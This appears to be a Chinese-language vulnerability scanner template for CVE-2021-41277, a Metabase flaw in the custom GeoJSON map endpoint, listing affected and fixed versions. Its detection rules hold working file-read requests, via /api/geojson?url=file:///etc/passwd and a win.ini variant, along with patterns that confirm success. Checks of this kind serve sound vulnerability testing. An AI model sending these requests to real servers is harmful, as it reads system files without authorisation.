漏洞描述
在受影响的版本中,自定义 GeoJSON 地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息。
影响版本:
metabase version < 0.40.5
metabase version >= 1.0.0, < 1.40.5
修复版本:
metabase version >= 0.40.5
metabase version >= 1.40.5
id: CVE-2021-41277
info:
name: Metabase 输入验证错误漏洞
author: rain
severity: high
verified: true
description: |
在受影响的版本中,自定义 GeoJSON 地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息。
影响版本:
metabase version < 0.40.5
metabase version >= 1.0.0, < 1.40.5
修复版本:
metabase version >= 0.40.5
metabase version >= 1.40.5
tags: cve,cve2021,metabase
created: 2023/07/15
rules:
r0:
request:
method: GET
path: /api/geojson?url=file:///etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
r1:
request:
method: GET
path: /api/geojson?url=file:///c://windows/win.ini
expression: response.status == 200 && response.body.bcontains(b"bit app support")
expression: r0() || r1()